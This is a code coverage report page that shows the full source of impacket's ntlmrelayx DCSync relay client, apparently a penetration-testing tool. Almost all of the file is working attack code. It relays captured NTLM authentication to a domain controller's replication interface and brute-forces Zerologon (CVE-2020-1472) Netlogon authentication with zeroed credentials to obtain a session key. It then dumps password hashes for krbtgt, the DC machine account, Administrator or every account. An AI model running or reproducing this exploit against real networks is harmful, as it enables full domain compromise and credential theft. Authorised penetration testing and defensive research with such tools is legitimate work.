Coverage for /root/GitHubProjects/impacket/impacket/examples/ntlmrelayx/clients/dcsyncclient.py: 10%

# Coverage for /root/GitHubProjects/impacket/impacket/examples/ntlmrelayx/clients/dcsyncclient.py : 10%

## 279 statements

Hot-keys on this page

r m x p toggle line displays

j k next/prev highlighted chunk

0 (zero) top of page

1 (one) first highlighted chunk

1# SECUREAUTH LABS. Copyright 2020 SecureAuth Corporation. All rights reserved.

2#

3# This software is provided under under a slightly modified version

4# of the Apache Software License. See the accompanying LICENSE file

5# for more information.

6#

7# Author:

8# Dirk-jan Mollema / Fox-IT (https://www.fox-it.com)

9# Alberto Solino (@agsolino)

10# Arseniy Sharoglazov <mohemiv@gmail.com> / Positive Technologies (https://www.ptsecurity.com/)

11#

12

13 from struct import unpack, pack

14 from binascii import hexlify, unhexlify

15 import traceback

16 from Cryptodome.Cipher import ARC4

17 from impacket import LOG, ntlm

18 from impacket.smbconnection import SMBConnection

19 from impacket.examples.ntlmrelayx.clients import ProtocolClient

20 from impacket.nt_errors import STATUS_SUCCESS, STATUS_ACCESS_DENIED

21 from impacket.ntlm import NTLMAuthChallenge, generateEncryptedSessionKey, NTLMAuthChallengeResponse, AV_PAIRS, NTLMSSP_AV_HOSTNAME, \

22 NTLMAuthNegotiate, NTLMSSP_NEGOTIATE_SEAL

23 from impacket.spnego import SPNEGO_NegTokenResp

24 from impacket.dcerpc.v5 import transport, rpcrt, epm, drsuapi, nrpc

25 from impacket.dcerpc.v5.ndr import NDRCALL

26 from impacket.dcerpc.v5.dtypes import NULL

27 from impacket.dcerpc.v5.rpcrt import DCERPC_v5, MSRPCBind, CtxItem, MSRPCHeader, SEC_TRAILER, MSRPCBindAck, \

28 MSRPCRespHeader, MSRPCBindNak, DCERPCException, RPC_C_AUTHN_WINNT, RPC_C_AUTHN_LEVEL_CONNECT, \

29 rpc_status_codes, rpc_provider_reason, RPC_C_AUTHN_LEVEL_PKT_PRIVACY

30 from impacket.examples.secretsdump import RemoteOperations, SAMHashes, NTDSHashes

31

32 PROTOCOL_CLIENT_CLASS = "DCSYNCRelayClient"

33

34 class DCSYNCRelayClientException(Exception):

35 pass

36

37 class MYDCERPC_v5(DCERPC_v5):

38 def __init__(self, transport):

39 DCERPC_v5.__init__(self, transport)

40

41 def sendBindType1(self, iface_uuid, auth_data):

42 bind = MSRPCBind()

43

44 item = CtxItem()

45 item['AbstractSyntax'] = iface_uuid

46 item['TransferSyntax'] = self.transfer_syntax

47 item['ContextID'] = 0

48 item['TransItems'] = 1

49 bind.addCtxItem(item)

50

51 packet = MSRPCHeader()

52 packet['type'] = rpcrt.MSRPC_BIND

53 packet['pduData'] = bind.getData()

54 packet['call_id'] = 0

55

56 sec_trailer = SEC_TRAILER()

57 sec_trailer['auth_type'] = RPC_C_AUTHN_WINNT

58 sec_trailer['auth_level'] = RPC_C_AUTHN_LEVEL_PKT_PRIVACY

59 sec_trailer['auth_ctx_id'] = 79231

60

61 pad = (4 - (len(packet.get_packet()) % 4)) % 4

62 if pad != 0:

63 packet['pduData'] += b'\xFF' * pad

64 sec_trailer['auth_pad_len'] = pad

65

66 packet['sec_trailer'] = sec_trailer

67 packet['auth_data'] = auth_data

68

69 self._transport.send(packet.get_packet())

70

71 s = self._transport.recv()

72

73 if s != 0:

74 resp = MSRPCHeader(s)

75 else:

76 return 0 #mmm why not None?

77

78 if resp['type'] == rpcrt.MSRPC_BINDACK or resp['type'] == rpcrt.MSRPC_ALTERCTX_R:

79 bindResp = MSRPCBindAck(resp.getData())

80 elif resp['type'] == rpcrt.MSRPC_BINDNAK or resp['type'] == rpcrt.MSRPC_FAULT:

81 if resp['type'] == rpcrt.MSRPC_FAULT:

82 resp = MSRPCRespHeader(resp.getData())

83 status_code = unpack('<L', resp['pduData'][:4])[0]

84 else:

85 resp = MSRPCBindNak(resp['pduData'])

86 status_code = resp['RejectedReason']

87 if status_code in rpc_status_codes:

88 raise DCERPCException(error_code = status_code)

89 elif status_code in rpc_provider_reason:

90 raise DCERPCException("Bind context rejected: %s" % rpc_provider_reason[status_code])

91 else:

92 raise DCERPCException('Unknown DCE RPC fault status code: %.8x' % status_code)

93 else:

94 raise DCERPCException('Unknown DCE RPC packet type received: %d' % resp['type'])

95

96 self.set_max_tfrag(bindResp['max_rfrag'])

97

98 return bindResp

99

100 def sendBindType3(self, auth_data):

101 sec_trailer = SEC_TRAILER()

102 sec_trailer['auth_type'] = RPC_C_AUTHN_WINNT

103 sec_trailer['auth_level'] = RPC_C_AUTHN_LEVEL_PKT_PRIVACY

104 sec_trailer['auth_ctx_id'] = 79231

105

106 auth3 = MSRPCHeader()

107 auth3['type'] = rpcrt.MSRPC_AUTH3

108

109 # pad (4 bytes): Can be set to any arbitrary value when set and MUST be

110 # ignored on receipt. The pad field MUST be immediately followed by a

111 # sec_trailer structure whose layout, location, and alignment are as

112 # specified in section 2.2.2.11

113 auth3['pduData'] = b' '

114 auth3['sec_trailer'] = sec_trailer

115 auth3['auth_data'] = auth_data

116 auth3['call_id'] = 0

117

118 self._transport.send(auth3.get_packet(), forceWriteAndx = 1)

119

120# Special class that allows skipping Samr connections (they are not strictly needed)

121 class PatchedRemoteOperations(RemoteOperations):

122

123 def getMachineNameAndDomain(self):

124 return '', ''

125

126 def connectSamr(self, domain):

127 return

128

129 class DCSYNCRelayClient(ProtocolClient):

130 """

131 DCSync relay client. Relays to DRSUAPI directly. Since this requires signing+sealing, it

132 invokes the Zerologon vulnerability to impersonate the DC and grab the session key over Netlogon.

133 """

134 PLUGIN_NAME = "DCSYNC"

135

136 def __init__(self, serverConfig, target, targetPort=None, extendedSecurity=True):

137 ProtocolClient.__init__(self, serverConfig, target, targetPort, extendedSecurity)

138

139 self.endpoint = serverConfig.rpc_mode

140

141 self.endpoint_uuid = drsuapi.MSRPC_UUID_DRSUAPI

142

143 LOG.debug("Connecting to ncacn_ip_tcp:%s[135] to determine %s stringbinding" % (target.netloc, self.endpoint))

144 self.stringbinding = epm.hept_map(target.netloc, self.endpoint_uuid, protocol='ncacn_ip_tcp')

145

146 LOG.debug("%s stringbinding is %s" % (self.endpoint, self.stringbinding))

147

148 def initConnection(self):

149 rpctransport = transport.DCERPCTransportFactory(self.stringbinding)

150

151 if self.serverConfig.rpc_use_smb:

152 LOG.info("Authenticating to smb://%s:%d with creds provided in cmdline" % (self.target.netloc, self.serverConfig.rpc_smb_port))

153 rpctransport.set_credentials(self.serverConfig.smbuser, self.serverConfig.smbpass, self.serverConfig.smbdomain, \

154 self.serverConfig.smblmhash, self.serverConfig.smbnthash)

155 rpctransport.set_dport(self.serverConfig.rpc_smb_port)

156

157 self.session = MYDCERPC_v5(rpctransport)

158 self.session.set_auth_level(rpcrt.RPC_C_AUTHN_LEVEL_PKT_PRIVACY)

159 self.session.connect()

160

161 return True

162

163 def sendNegotiate(self, auth_data):

164 negoMessage = NTLMAuthNegotiate()

165 negoMessage.fromString(auth_data)

166 if negoMessage['flags'] & NTLMSSP_NEGOTIATE_SEAL == 0:

167 negoMessage['flags'] |= NTLMSSP_NEGOTIATE_SEAL

168 self.negotiateMessage = negoMessage.getData()

169 bindResp = self.session.sendBindType1(self.endpoint_uuid, self.negotiateMessage)

170

171 self.challenge = NTLMAuthChallenge()

172 self.challenge.fromString(bindResp['auth_data'])

173

174 return self.challenge

175

176 def sendAuth(self, authenticateMessageBlob, serverChallenge=None):

177 if unpack('B', authenticateMessageBlob[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP:

178 respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob)

179 auth_data = respToken2['ResponseToken']

180 else:

181 auth_data = authenticateMessageBlob

182

183 remoteOps = None

184 try:

185 signingkey = self.netlogonSessionKey(serverChallenge, authenticateMessageBlob)

186 # Something failed

187 if signingkey == 0:

188 return

189 self.session.set_session_key(signingkey)

190 authenticateMessage = NTLMAuthChallengeResponse()

191 authenticateMessage.fromString(auth_data)

192

193 # Recalc mic

194 authenticateMessage['MIC'] = b'\x00' * 16

195 if authenticateMessage['flags'] & NTLMSSP_NEGOTIATE_SEAL == 0:

196 authenticateMessage['flags'] |= NTLMSSP_NEGOTIATE_SEAL

197 newmic = ntlm.hmac_md5(signingkey, self.negotiateMessage + self.challenge.getData() + authenticateMessage.getData())

198 authenticateMessage['MIC'] = newmic

199 self.session.sendBindType3(authenticateMessage.getData())

200

201 # Now perform DRS bind

202 # This code comes from secretsdump directly

203 request = drsuapi.DRSBind()

204 request['puuidClientDsa'] = drsuapi.NTDSAPI_CLIENT_GUID

205 drs = drsuapi.DRS_EXTENSIONS_INT()

206 drs['cb'] = len(drs) #- 4

207 drs['dwFlags'] = drsuapi.DRS_EXT_GETCHGREQ_V6 | drsuapi.DRS_EXT_GETCHGREPLY_V6 | drsuapi.DRS_EXT_GETCHGREQ_V8 | \

208 drsuapi.DRS_EXT_STRONG_ENCRYPTION

209 drs['SiteObjGuid'] = drsuapi.NULLGUID

210 drs['Pid'] = 0

211 drs['dwReplEpoch'] = 0

212 drs['dwFlagsExt'] = 0

213 drs['ConfigObjGUID'] = drsuapi.NULLGUID

214 # I'm uber potential (c) Ben

215 drs['dwExtCaps'] = 0xffffffff

216 request['pextClient']['cb'] = len(drs)

217 request['pextClient']['rgb'] = list(drs.getData())

218 resp = self.session.request(request)

219

220 # Initialize remoteoperations

221 if self.serverConfig.smbuser != '':

222 smbConnection = SMBConnection(self.target.netloc, self.target.netloc)

223 smbConnection.login(self.serverConfig.smbuser, self.serverConfig.smbpass, self.serverConfig.smbdomain, \

224 self.serverConfig.smblmhash, self.serverConfig.smbnthash)

225 remoteOps = RemoteOperations(smbConnection, False)

226 else:

227 remoteOps = PatchedRemoteOperations(None, False)

228

229 # DRSBind's DRS_EXTENSIONS_INT(). If not, it will fail later when trying to sync data.

230 drsExtensionsInt = drsuapi.DRS_EXTENSIONS_INT()

231

232 # If dwExtCaps is not included in the answer, let's just add it so we can unpack DRS_EXTENSIONS_INT right.

233 ppextServer = b''.join(resp['ppextServer']['rgb']) + b'\x00' * (

234 len(drsuapi.DRS_EXTENSIONS_INT()) - resp['ppextServer']['cb'])

235 drsExtensionsInt.fromString(ppextServer)

236

237 if drsExtensionsInt['dwReplEpoch'] != 0:

238 # Different epoch, we have to call DRSBind again

239 LOG.debug("DC's dwReplEpoch != 0, setting it to %d and calling DRSBind again" % drsExtensionsInt[

240 'dwReplEpoch'])

241 drs['dwReplEpoch'] = drsExtensionsInt['dwReplEpoch']

242 request['pextClient']['cb'] = len(drs)

243 request['pextClient']['rgb'] = list(drs.getData())

244 resp = self.session.request(request)

245

246 remoteOps._RemoteOperations__hDrs = resp['phDrs']

247

248 domainName = authenticateMessage['domain_name'].decode('utf-16le')

249 # Now let's get the NtdsDsaObjectGuid UUID to use when querying NCChanges

250 resp = drsuapi.hDRSDomainControllerInfo(self.session, remoteOps._RemoteOperations__hDrs, domainName, 2)

251 # LOG.debug('DRSDomainControllerInfo() answer')

252 # resp.dump()

253

254 if resp['pmsgOut']['V2']['cItems'] > 0:

255 remoteOps._RemoteOperations__NtdsDsaObjectGuid = resp['pmsgOut']['V2']['rItems'][0]['NtdsDsaObjectGuid']

256 else:

257 LOG.error("Couldn't get DC info for domain %s" % domainName)

258 raise Exception('Fatal, aborting')

259 remoteOps._RemoteOperations__drsr = self.session

260

261 # Initialize NTDSHashes object

262 if self.serverConfig.smbuser != '':

263 # We can dump all :)

264 nh = NTDSHashes(None, None, isRemote=True, history=False,

265 noLMHash=False, remoteOps=remoteOps,

266 useVSSMethod=False, justNTLM=False,

267 pwdLastSet=False, resumeSession=None,

268 outputFileName='hashes', justUser=None,

269 printUserStatus=False)

270 nh.dump()

271 else:

272 # Most important, krbtgt

273 nh = NTDSHashes(None, None, isRemote=True, history=False,

274 noLMHash=False, remoteOps=remoteOps,

275 useVSSMethod=False, justNTLM=False,

276 pwdLastSet=False, resumeSession=None,

277 outputFileName='hashes', justUser=domainName + '/krbtgt',

278 printUserStatus=False)

279 nh.dump()

280 # Also important, DC hash (to sync fully)

281 av_pairs = authenticateMessage['ntlm'][44:]

282 av_pairs = AV_PAIRS(av_pairs)

283 serverName = av_pairs[NTLMSSP_AV_HOSTNAME][1].decode('utf-16le')

284 nh = NTDSHashes(None, None, isRemote=True, history=False,

285 noLMHash=False, remoteOps=remoteOps,

286 useVSSMethod=False, justNTLM=False,

287 pwdLastSet=False, resumeSession=None,

288 outputFileName='hashes', justUser=domainName + '/' + serverName + '$',

289 printUserStatus=False)

290 nh.dump()

291 # Finally, builtin\Administrator providing it was not renamed

292 try:

293 nh = NTDSHashes(None, None, isRemote=True, history=False,

294 noLMHash=False, remoteOps=remoteOps,

295 useVSSMethod=False, justNTLM=False,

296 pwdLastSet=False, resumeSession=None,

297 outputFileName='hashes', justUser=domainName + '/Administrator',

298 printUserStatus=False)

299 nh.dump()

300 except Exception:

301 LOG.error('Could not dump administrator (renamed?)')

302

303 return None, STATUS_SUCCESS

304 except Exception as e:

305 traceback.print_exc()

306 finally:

307 if remoteOps is not None:

308 remoteOps.finish()

309

310 def netlogonSessionKey(self, challenge, authenticateMessageBlob):

311 # Here we will use netlogon to get the signing session key

312 LOG.info("Connecting to %s NETLOGON service" % self.target.netloc)

313

314 respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob)

315 authenticateMessage = NTLMAuthChallengeResponse()

316 authenticateMessage.fromString(respToken2['ResponseToken'])

317 domainName = authenticateMessage['domain_name'].decode('utf-16le')

318 flags = authenticateMessage['flags']

319 try:

320 av_pairs = authenticateMessage['ntlm'][44:]

321 av_pairs = AV_PAIRS(av_pairs)

322

323 serverName = av_pairs[NTLMSSP_AV_HOSTNAME][1].decode('utf-16le')

324 except:

325 LOG.debug("Exception:", exc_info=True)

326 # We're in NTLMv1, not supported

327 return STATUS_ACCESS_DENIED

328

329 binding = epm.hept_map(self.target.netloc, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp')

330

331 dce = transport.DCERPCTransportFactory(binding).get_dce_rpc()

332 dce.connect()

333 dce.bind(nrpc.MSRPC_UUID_NRPC)

334 MAX_ATTEMPTS = 6000

335 for attempt in range(0, MAX_ATTEMPTS):

336 resp = nrpc.hNetrServerReqChallenge(dce, NULL, serverName+'\x00', b'\x00'*8)

337

338 serverChallenge = resp['ServerChallenge']

339

340 ppp = b'\x00'*8

341 try:

342 nrpc.hNetrServerAuthenticate3(dce, NULL, serverName + '$\x00',

343 nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel, serverName + '\x00',

344 ppp, 0x212effef)

345 except nrpc.DCERPCSessionError as ex:

346 # Failure should be due to a STATUS_ACCESS_DENIED error. Otherwise, the attack is probably not working.

347 if ex.get_error_code() == 0xc0000022:

348 continue

349 else:

350 LOG.error('Unexpected error code from DC: %d.', ex.get_error_code())

351 except BaseException as ex:

352 LOG.error('Unexpected error: %s', str(ex))

353 LOG.info('Netlogon Auth OK, successfully bypassed autentication using Zerologon after %d attempts!', attempt)

354 break

355 else:

356 LOG.error('No success bypassing auth after 6000 attempts. Target likely patched!')

357 return

358 clientStoredCredential = pack('<Q', unpack('<Q',ppp)[0] + 10)

359

360 # Now let's try to verify the security blob against the PDC

361

362 lflags = unpack('<L', b'\xe0\x2a\x00\x00')[0]

363 request = nrpc.NetrLogonSamLogonWithFlags()

364 request['LogonServer'] = '\x00'

365 request['ComputerName'] = serverName + '\x00'

366 request['ValidationLevel'] = nrpc.NETLOGON_VALIDATION_INFO_CLASS.NetlogonValidationSamInfo4

367

368 request['LogonLevel'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation

369 request['LogonInformation']['tag'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation

370 request['LogonInformation']['LogonNetworkTransitive']['Identity']['LogonDomainName'] = domainName

371 request['LogonInformation']['LogonNetworkTransitive']['Identity']['ParameterControl'] = lflags

372 request['LogonInformation']['LogonNetworkTransitive']['Identity']['UserName'] = authenticateMessage[

373 'user_name'].decode('utf-16le')

374 request['LogonInformation']['LogonNetworkTransitive']['Identity']['Workstation'] = ''

375 request['LogonInformation']['LogonNetworkTransitive']['LmChallenge'] = challenge

376 request['LogonInformation']['LogonNetworkTransitive']['NtChallengeResponse'] = authenticateMessage['ntlm']

377 request['LogonInformation']['LogonNetworkTransitive']['LmChallengeResponse'] = authenticateMessage['lanman']

378

379 authenticator = nrpc.NETLOGON_AUTHENTICATOR()

380 authenticator['Credential'] = b'\x00'*8 #nrpc.ComputeNetlogonCredential(clientStoredCredential, sessionKey)

381 authenticator['Timestamp'] = 0

382

383 request['Authenticator'] = authenticator

384 request['ReturnAuthenticator']['Credential'] = b'\x00'*8

385 request['ReturnAuthenticator']['Timestamp'] = 0

386 request['ExtraFlags'] = 0

387 #request.dump()

388 try:

389 resp = dce.request(request)

390 #resp.dump()

391 except DCERPCException as e:

392 LOG.debug('Exception:', exc_info=True)

393 LOG.error(str(e))

394 return e.get_error_code()

395

396 LOG.info("%s\\%s successfully validated through NETLOGON" % (

397 domainName, authenticateMessage['user_name'].decode('utf-16le')))

398

399 encryptedSessionKey = authenticateMessage['session_key']

400 if encryptedSessionKey != '':

401 signingKey = generateEncryptedSessionKey(

402 resp['ValidationInformation']['ValidationSam4']['UserSessionKey'], encryptedSessionKey)

403 else:

404 signingKey = resp['ValidationInformation']['ValidationSam4']['UserSessionKey']

405

406 LOG.info("NTLM Sign/seal key: %s " % hexlify(signingKey).decode('utf-8'))

407 if flags & ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY:

408 self.session._DCERPC_v5__clientSigningKey = ntlm.SIGNKEY(flags, signingKey)

409 self.session._DCERPC_v5__serverSigningKey = ntlm.SIGNKEY(flags, signingKey,b"Server")

410 self.session._DCERPC_v5__clientSealingKey = ntlm.SEALKEY(flags, signingKey)

411 self.session._DCERPC_v5__serverSealingKey = ntlm.SEALKEY(flags, signingKey,b"Server")

412 # Preparing the keys handle states

413 cipher3 = ARC4.new(self.session._DCERPC_v5__clientSealingKey)

414 self.session._DCERPC_v5__clientSealingHandle = cipher3.encrypt

415 cipher4 = ARC4.new(self.session._DCERPC_v5__serverSealingKey)

416 self.session._DCERPC_v5__serverSealingHandle = cipher4.encrypt

417 else:

418 # Same key for everything

419 self.session._DCERPC_v5__clientSigningKey = signingKey

420 self.session._DCERPC_v5__serverSigningKey = signingKey

421 self.session._DCERPC_v5__clientSealingKey = signingKey

422 self.session._DCERPC_v5__serverSealingKey = signingKey

423 cipher = ARC4.new(self.session._DCERPC_v5__clientSigningKey)

424 self.session._DCERPC_v5__clientSealingHandle = cipher.encrypt

425 self.session._DCERPC_v5__serverSealingHandle = cipher.encrypt

426 self.session._DCERPC_v5__sequence = 0

427 self.session._DCERPC_v5__flags = flags

428 return signingKey

429

430 def killConnection(self):

431 if self.session is not None:

432 self.session.get_rpc_transport().disconnect()

433 self.session = None

434

435 def keepAlive(self):

436 return